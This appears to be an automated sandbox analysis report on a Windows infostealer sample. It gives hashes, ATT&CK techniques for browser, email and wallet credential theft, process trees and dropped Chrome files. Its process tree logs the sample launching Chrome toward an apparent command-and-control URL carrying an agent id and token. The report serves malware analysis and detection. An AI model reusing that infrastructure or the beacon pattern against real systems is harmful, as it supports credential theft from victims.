e08c0890b11d91b7ee58de25cc190e1fdf760d76b6d0821aa2d1f442b43e719a

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 00:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
Size 4.5MB
Sample260805-a4v4vavckf
SHA256 e08c0890b11d91b7ee58de25cc190e1fdf760d76b6d0821aa2d1f442b43e719a
MD5 6f62e6118343703a0ce6311074f236be
SHA1 b0fda8fa73f02276d2b5fff52e1a256043ad69e1
SHA512 e2abb4f045e9eb0d8d90cd660dd6d55d1b77c4e269f1b368d8bb901a0baee9e8a1dc7b3ccfdf512309d040872d0f923cace3d6121f43c69dc1890be4b57fbe08
SSDEEP 49152:eponiwE6bd5qI3Rh1E2Xu4kh9fDUfEbQx6awk:Ir6h5qIVEb4kvgbxFwk
TLSH
T117261911FECA44F2D9431A3010EBB27F233CA9094F7D9B63DE442A79FA732545867299
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery spyware stealer

Malware Config

Signatures

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5780	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134303644044017399"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
2432	chrome.exe
2432	chrome.exe
5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2432	chrome.exe
Token: SeCreatePagefilePrivilege	2432	chrome.exe
Token: SeShutdownPrivilege	2432	chrome.exe
Token: SeCreatePagefilePrivilege	2432	chrome.exe
Token: SeShutdownPrivilege	2432	chrome.exe
Token: SeCreatePagefilePrivilege	2432	chrome.exe
Token: SeShutdownPrivilege	2432	chrome.exe
Token: SeCreatePagefilePrivilege	2432	chrome.exe
Token: SeShutdownPrivilege	2432	chrome.exe
Token: SeCreatePagefilePrivilege	2432	chrome.exe
Token: SeShutdownPrivilege	2432	chrome.exe
Token: SeCreatePagefilePrivilege	2432	chrome.exe
Token: SeShutdownPrivilege	2432	chrome.exe
Token: SeCreatePagefilePrivilege	2432	chrome.exe
Token: SeShutdownPrivilege	2432	chrome.exe
Token: SeCreatePagefilePrivilege	2432	chrome.exe
Token: SeShutdownPrivilege	2432	chrome.exe
Token: SeCreatePagefilePrivilege	2432	chrome.exe
Token: SeShutdownPrivilege	2432	chrome.exe
Token: SeCreatePagefilePrivilege	2432	chrome.exe
Token: SeShutdownPrivilege	2432	chrome.exe
Token: SeCreatePagefilePrivilege	2432	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe
2432	chrome.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 5556 wrote to memory of 2432	5556	2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe	90
PID 2432 wrote to memory of 2464	2432	chrome.exe	91
PID 2432 wrote to memory of 4456	2432	chrome.exe	92
PID 2432 wrote to memory of 4456	2432	chrome.exe	92
PID 2432 wrote to memory of 5780	2432	chrome.exe	93
PID 2432 wrote to memory of 4276	2432	chrome.exe	94
PID 2432 wrote to memory of 4276	2432	chrome.exe	94
PID 2432 wrote to memory of 4544	2432	chrome.exe	96
PID 2432 wrote to memory of 4544	2432	chrome.exe	96
PID 2432 wrote to memory of 5324	2432	chrome.exe	97
PID 2432 wrote to memory of 5324	2432	chrome.exe	97
PID 2432 wrote to memory of 4592	2432	chrome.exe	98
PID 2432 wrote to memory of 4592	2432	chrome.exe	98
PID 2432 wrote to memory of 3784	2432	chrome.exe	99
PID 2432 wrote to memory of 1612	2432	chrome.exe	100
PID 2432 wrote to memory of 5008	2432	chrome.exe	101
PID 2432 wrote to memory of 1612	2432	chrome.exe	100
PID 2432 wrote to memory of 5008	2432	chrome.exe	101
PID 2432 wrote to memory of 3768	2432	chrome.exe	103
PID 2432 wrote to memory of 3768	2432	chrome.exe	103
PID 2432 wrote to memory of 1108	2432	chrome.exe	104
PID 2432 wrote to memory of 1108	2432	chrome.exe	104
PID 2432 wrote to memory of 5332	2432	chrome.exe	106
PID 2432 wrote to memory of 3452	2432	chrome.exe	107
PID 2432 wrote to memory of 5332	2432	chrome.exe	106
PID 2432 wrote to memory of 3452	2432	chrome.exe	107
PID 2432 wrote to memory of 4964	2432	chrome.exe	108
PID 2432 wrote to memory of 4964	2432	chrome.exe	108
PID 2432 wrote to memory of 4540	2432	chrome.exe	109
PID 2432 wrote to memory of 4540	2432	chrome.exe	109

C:\Users\Admin\AppData\Local\Temp\2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-04_6f62e6118343703a0ce6311074f236be_elex_frostygoop_hive_salatstealer_sliver.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5556
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" trenadne.cyou/api/set_agent?id=089268A2BD24956701AEC7B30ADF174C&token=d4833d6fb8117804029adba9d2b9e47b9d31b5&description=&agent=Chrome
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffb55f0c728,0x7ffb55f0c734,0x7ffb55f0c740
    3⤵
    PID:2464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1644,i,7050172303127209606,8613783204585211871,262144 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=1948 /prefetch:2
    3⤵
    PID:4456
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2188,i,16125267216616286777,5571997647617685455,524288 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=2192 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2332,i,9233873809354869024,4814487271276535309,524288 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:13
    3⤵
    PID:4276
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3140,i,15778495479725845122,3474356400608896545,2097152 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=3180 /prefetch:1
    3⤵
    PID:4544
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3148,i,8350229457281265679,4019392804798261783,2097152 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=3200 /prefetch:1
    3⤵
    PID:5324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4624,i,17941842222893241355,6468900343756156380,524288 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=4632 /prefetch:12
    3⤵
    PID:4592
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5568,i,14617402597563442900,1687672652126843191,524288 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:14
    3⤵
    PID:3784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5664,i,4273480959980347279,15003811651833154745,2097152 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:1
    3⤵
    PID:1612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5676,i,10180773982205067352,8562386667404441738,2097152 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:1
    3⤵
    PID:5008
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=6004,i,4290130694148244620,2307861262680770930,2097152 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=5680 /prefetch:1
    3⤵
    PID:3768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5956,i,14248718872828517994,7181726739418072936,2097152 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:1
    3⤵
    PID:1108
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5668,i,5043991094866229142,1155127265574930326,2097152 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:1
    3⤵
    PID:5332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5952,i,17934854331556407180,12705116788716379102,2097152 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:1
    3⤵
    PID:3452
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5952,i,12015029850226580003,10322346776889500681,2097152 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=5740 /prefetch:1
    3⤵
    PID:4964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=4812,i,12794495906597629145,7801764854837579065,2097152 --field-trial-handle=1952,i,18077841573542639106,8387426250524034981,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:1
    3⤵
    PID:4540

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 5e6b8525a646d2a8306f9bf9a44b46788b580915f38e628cedd604adaa5b61d0
MD5 db2d1c0d5c68e84d48fb4adecec50b5e
SHA1 523e0e15e9001998fce19e674cada1c68a4c4432
SHA512 7e7dcfaf9db62062a0fa79c305afb4dc1d6d6fbdc2b4b359ddf2ab476f91fb57786742f8a948d8da4e5e871a40c6dc9bc5cd518aeca58d6fd5bce3d8cd7b6647
SSDEEP 192:rRes0CUVv7IvAPRp2Vpy98Hndb+WN3VVL5Vq2Bj2yQkwoPVyIsnAUge:rRes0Rl86Xru7Hy2Z2bIpe
TLSH
T1E542952EB9647DBBACCBC22AF9617657D3F5202161942E80EBF8996C10E76CC2217507
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 48cbcc88875a7e40f96f5d34c4b47658bad92859246ba43e3509fc84d9a873d6
MD5 3f09074df2208ff0b0fb67eb67589e3d
SHA1 f444901a792b995ca0e4dc3f3e77449b6b15f7f4
SHA512 b4b506ccc7962e7b505271459f0c8ee556d2d7f0743cfe7d1462e6df75110546d1d9288138a978d17f1ab763803edd941d6e39ebcca28b5ca8491f950b297943
SSDEEP 192:e5a4K6R97KxkXqK4I40pUZNCgVLHrKHfFKslE8/1XzKD/ed+ErUkKNdrtumtK7rx:Majm97KxkXqKf/pUZNCgVLH2HfgslN1N
TLSH
T12E32D827A48D9E7F0FD8D518CC136F8B6CF5429262780D2896FB9D0803A578E114A6FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 a747cccb9d502b26aa1e118d3dd0083f003434b6113ea1cb1b8b95825df57260
MD5 efe09e7ad9e1e925f1d815010f031774
SHA1 a4dbb1b7d53dea397e2924167db932cdf7de1e19
SHA512 35b7859d6d12ac3e2a1ecfdee5602de88ead04d94e14882eadff6efe37d24efd863faf5c2d9262b5d6538d5afaa89be295a54301267368800619ce6e8923a51f
SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OQRPkVum8nX:1nbZeMrv/hGtQ9nX
TLSH
T1E1D3874B3A747002EDE59A721CE0507F5E3CB16D8F5595D428B620688EF2863B23D4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 124KB
SHA256 87cc1d9b45923ec9b572018f8d4ac17f92397743f2247be88d8312da73dec13a
MD5 b4a6361050230f86b6b26c1ff24dd57d
SHA1 6b52615ebf11ec506afc2e7fde33f9f26d8151fd
SHA512 601673e3bee2c585e95ef93c2eeea0414ab11f3d4ed8d1b1510a9c27959ff72e1f6ea494dc8e4f6d9046c9e6d428d2437e2a0df6ffe4983aa48f907745aa7b5d
SSDEEP 3072:WOGOWip6nlKnw+HoO1/2WNnxdyBMW99d3wLc9+cbYbC:rGvs6nlKnw+V11xQB5H3w0+FC
TLSH
T113C312789ABA5FA314FFC730351B354B66A611DFE29DB9E1EFD92B4F11D24002843261
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 32e256237eddfe3c4c48919ab37f141a1c00aad3c385cb207a9a380b02762666
MD5 8538482e8124ac4ed2d8d6e3987fa4d7
SHA1 b87d2b4f9a39bf00eaf4961b2a8dcf8ae0be83b2
SHA512 90f89520834dfa76a218fff7057658e5afc2fa086af6c74eda72f482b113d2d3a5128bf2098ada79e1d0f92e609c528029dca819527d68a523c2692a7bf23aef
SSDEEP 96:5KC0d+oJm4V0FH+pqf+HBKyoytsRDotok51HDAB6eGyvkonDob1v4a:MC0HJm5FHuPgXDUDNkW8nDobZ
TLSH
T166A12BB1A4B94CB759B7D745F8C33A83DEA4A2276991EF80D9DD1E0D01F31D81341A27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5556-144-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-141-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-142-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-148-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-147-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-146-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-159-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-158-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-157-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-156-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-155-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-154-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-153-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-152-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-151-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-145-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-137-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-143-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-150-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-149-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-140-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-139-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-138-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-30-0x0000000021840000-0x00000000218A1000-memory.dmp

Download

memory/5556-0-0x0000000021840000-0x00000000218A1000-memory.dmp

Download

memory/5556-176-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-179-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-191-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-190-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-189-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-182-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-188-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-187-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-186-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-185-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-184-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-183-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-181-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-180-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-178-0x0000000023200000-0x0000000023201000-memory.dmp

Download

memory/5556-177-0x0000000023200000-0x0000000023201000-memory.dmp

